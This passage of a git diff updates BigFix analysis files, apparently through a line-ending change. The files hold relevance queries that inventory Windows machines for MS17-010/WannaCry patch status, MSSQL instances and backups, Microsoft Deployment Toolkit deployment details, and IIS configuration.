+    <Property ID="2" Name="MS17-010 Expected Version" EvaluationPeriod="P30D">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &gt; &quot;6.0.6002.23000&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;6.0.6002.24067&quot;) else (&quot;6.0.6002.19743&quot;)</Property>
+    <Property ID="3" Name="Vulnerable to WannaCry">if (exists files &quot;srv.sys&quot; whose ((it = &quot;6.0.6002&quot; AND it &lt; &quot;6.0.6002.19743&quot; OR it &gt; &quot;6.0.6002.23000&quot; AND it &lt; &quot;6.0.6002.24067&quot;) of version of it) of folders &quot;drivers&quot; of (system folder; native system folder)) then (&quot;Yes&quot;) else (&quot;No&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes b/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes
index e483dbc00..ea719dcef 100644
--- a/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/MSSQL (2994632).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : MSSQL
-  ID       : 2994632
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-01-30T08:30:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>MSSQL</Title>
-    <Description><![CDATA[<P>Some info about MS SQL</P>
-<P>&nbsp;</P>
-<P>The latest version of&nbsp;this analysis&nbsp;can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994623">http://bigfix.me/analysis/details/2994623</A></P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows 2003 or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* MSSQL */ (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) OR (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry) OR ((exists local mssql databases) AND (exists runnings whose(it = TRUE) of local mssql databases))</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 28 Jan 2014 22:40:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SQLPath" EvaluationPeriod="P2D">value &quot;SQLPath&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup&quot; of native registry</Property>
-    <Property ID="2" Name="CurrentVersion" EvaluationPeriod="P2D">value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion&quot; of native registry</Property>
-    <Property ID="3" Name="Instance Names" EvaluationPeriod="P2D">values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry</Property>
-    <Property ID="4" Name="DefaultData Location" EvaluationPeriod="P2D">values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
-    <Property ID="5" Name="DefaultLog Location" EvaluationPeriod="P2D">values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
-    <Property ID="6" Name="SQLDataRoot" EvaluationPeriod="P2D">values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
-    <Property ID="7" Name="Patch Level" EvaluationPeriod="P1D">values &quot;PatchLevel&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
-    <Property ID="8" Name="Edition" EvaluationPeriod="P7D">unique values of (((it as string) of values &quot;Edition&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry);((it as string) of values &quot;EditionType&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
-    <Property ID="9" Name="DBs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.mdf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
-    <Property ID="10" Name="DB_Transaction_Logs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.ldf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
-    <Property ID="11" Name="BackupDirectory" EvaluationPeriod="P1D">values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
-    <Property ID="12" Name="Backups" EvaluationPeriod="P1D">names of files of folders ((it as string) of values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)</Property>
-    <Property ID="13" Name="instance names" EvaluationPeriod="PT12H">instance names of local mssql databases</Property>
-    <Property ID="14" Name="Running?" EvaluationPeriod="PT12H">runnings of local mssql databases</Property>
-    <Property ID="15" Name="InstanceRegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry)</Property>
-    <Property ID="16" Name="MSSQLServer RegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry)</Property>
-    <Property ID="17" Name="Running? Rel" EvaluationPeriod="PT12H">exists runnings whose(it = TRUE) of local mssql databases</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : MSSQL
+  ID       : 2994632
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-30T08:30:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>MSSQL</Title>
+    <Description><![CDATA[<P>Some info about MS SQL</P>
+<P>&nbsp;</P>
+<P>The latest version of&nbsp;this analysis&nbsp;can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994623">http://bigfix.me/analysis/details/2994623</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 2003 or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* MSSQL */ (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) OR (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry) OR ((exists local mssql databases) AND (exists runnings whose(it = TRUE) of local mssql databases))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jan 2014 22:40:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SQLPath" EvaluationPeriod="P2D">value &quot;SQLPath&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Setup&quot; of native registry</Property>
+    <Property ID="2" Name="CurrentVersion" EvaluationPeriod="P2D">value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\CurrentVersion&quot; of native registry</Property>
+    <Property ID="3" Name="Instance Names" EvaluationPeriod="P2D">values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry</Property>
+    <Property ID="4" Name="DefaultData Location" EvaluationPeriod="P2D">values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="5" Name="DefaultLog Location" EvaluationPeriod="P2D">values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="6" Name="SQLDataRoot" EvaluationPeriod="P2D">values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="7" Name="Patch Level" EvaluationPeriod="P1D">values &quot;PatchLevel&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="8" Name="Edition" EvaluationPeriod="P7D">unique values of (((it as string) of values &quot;Edition&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry);((it as string) of values &quot;EditionType&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="9" Name="DBs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.mdf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultData&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="10" Name="DB_Transaction_Logs" EvaluationPeriod="P1D">names of files whose(name of it as lowercase ends with &quot;.ldf&quot;) of ((folders &quot;DATA&quot; of folders ((it as string) of values &quot;SQLDataRoot&quot; of keys &quot;Setup&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)) ; folders ((it as string) of values &quot;DefaultLog&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry))</Property>
+    <Property ID="11" Name="BackupDirectory" EvaluationPeriod="P1D">values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry</Property>
+    <Property ID="12" Name="Backups" EvaluationPeriod="P1D">names of files of folders ((it as string) of values &quot;BackupDirectory&quot; of keys &quot;MSSQLServer&quot; of keys ((it as string) of values &quot;MSSQLSERVER&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server&quot; of native registry)</Property>
+    <Property ID="13" Name="instance names" EvaluationPeriod="PT12H">instance names of local mssql databases</Property>
+    <Property ID="14" Name="Running?" EvaluationPeriod="PT12H">runnings of local mssql databases</Property>
+    <Property ID="15" Name="InstanceRegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry)</Property>
+    <Property ID="16" Name="MSSQLServer RegKey?" EvaluationPeriod="PT12H">(exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer&quot; of native registry)</Property>
+    <Property ID="17" Name="Running? Rel" EvaluationPeriod="PT12H">exists runnings whose(it = TRUE) of local mssql databases</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes
index 1a1eea9da..dd6c19e4a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Microsoft Deployment Toolkit - Windows
-  ID       : 2998513
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-01-31T07:17:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Microsoft Deployment Toolkit - Windows</Title>
-    <Description><![CDATA[<P>Provides information regarding a Windows Operating System deployed using the Microsoft Deployment Toolkit.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="MDT - Deployment Task Sequence ID - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="2" Name="MDT - Deployment Task Sequence Name - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Name&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="3" Name="MDT - Deployment Task Sequence Version - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Version&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="4" Name="MDT - Deployment Task Sequence Progress - Windows" EvaluationPeriod="PT1H">values &quot;ProgressPercent&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="5" Name="MDT - Deployment Task Sequence Message - Windows" EvaluationPeriod="PT1H">values &quot;ProgressText&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="6" Name="MDT - Deployment Method - Windows" EvaluationPeriod="P7D">values &quot;Deployment Method&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="7" Name="MDT - Deployment Source - Windows" EvaluationPeriod="P7D">values &quot;Deployment Source&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-    <Property ID="8" Name="MDT - Deployment Time - Windows" EvaluationPeriod="P7D">(it as date) of (last 2 of it &amp; &quot; &quot; &amp; (substring (4,2) of it as integer as month as three letters) &amp; &quot; &quot; &amp; first 4 of it) of firsts 8 of (values &quot;Deployment Timestamp&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry as string)</Property>
-    <Property ID="9" Name="MDT - Deployment Type - Windows" EvaluationPeriod="P7D">values &quot;Deployment Type&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Deployment Toolkit - Windows
+  ID       : 2998513
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-31T07:17:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Deployment Toolkit - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding a Windows Operating System deployed using the Microsoft Deployment Toolkit.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MDT - Deployment Task Sequence ID - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="2" Name="MDT - Deployment Task Sequence Name - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Name&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="3" Name="MDT - Deployment Task Sequence Version - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Version&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="4" Name="MDT - Deployment Task Sequence Progress - Windows" EvaluationPeriod="PT1H">values &quot;ProgressPercent&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="5" Name="MDT - Deployment Task Sequence Message - Windows" EvaluationPeriod="PT1H">values &quot;ProgressText&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="6" Name="MDT - Deployment Method - Windows" EvaluationPeriod="P7D">values &quot;Deployment Method&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="7" Name="MDT - Deployment Source - Windows" EvaluationPeriod="P7D">values &quot;Deployment Source&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="8" Name="MDT - Deployment Time - Windows" EvaluationPeriod="P7D">(it as date) of (last 2 of it &amp; &quot; &quot; &amp; (substring (4,2) of it as integer as month as three letters) &amp; &quot; &quot; &amp; first 4 of it) of firsts 8 of (values &quot;Deployment Timestamp&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry as string)</Property>
+    <Property ID="9" Name="MDT - Deployment Type - Windows" EvaluationPeriod="P7D">values &quot;Deployment Type&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes
index 217a3409e..fd0620184 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Microsoft IIS - Windows
-  ID       : 2998511
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-01-11T18:34:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Microsoft IIS - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the currently installed Microsoft IIS environment.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;W3SVC&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="IIS - Sites - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of Selects &quot;Name FROM Site&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of properties &quot;ServerComment&quot; of Select objects &quot;ServerComment FROM IIsWebServerSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
-    <Property ID="2" Name="IIS - Virtual Directories - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of selects &quot;PhysicalPath FROM VirtualDirectory&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of selects &quot;Path FROM IIsWebVirtualDirSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
-    <Property ID="3" Name="IIS - Application Pools - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM ApplicationPool&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((following text of first &quot;W3SVC/APPPOOLS/&quot; of string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM IIsApplicationPool&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
-    <Property ID="4" Name="IIS - Version - Windows" EvaluationPeriod="PT12H">unique values of (value &quot;MajorVersion&quot; of it as string &amp; &quot;.&quot; &amp; value &quot;MinorVersion&quot; of it as string) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="5" Name="IIS - Components - Windows" EvaluationPeriod="PT12H">unique values of names of values whose (it = 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp\Components&quot; of x32 registry</Property>
-    <Property ID="7" Name="IIS - Virtual Directories mapped with Credentials - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string values of property &quot;UserName&quot; of it, string values of property &quot;PhysicalPath&quot; of it) of select objects &quot;UserName,PhysicalPath FROM VirtualDirectory where UserName != &apos;&apos;&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((string values of property &quot;UNCUserName&quot; of it, string values of property &quot;Path&quot; of it) of select objects &quot;UNCUserName,Path FROM IIsWebVirtualDirSetting where UNCUserName != &apos;&apos;&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft IIS - Windows
+  ID       : 2998511
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-11T18:34:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft IIS - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the currently installed Microsoft IIS environment.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;W3SVC&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="IIS - Sites - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of Selects &quot;Name FROM Site&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of properties &quot;ServerComment&quot; of Select objects &quot;ServerComment FROM IIsWebServerSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
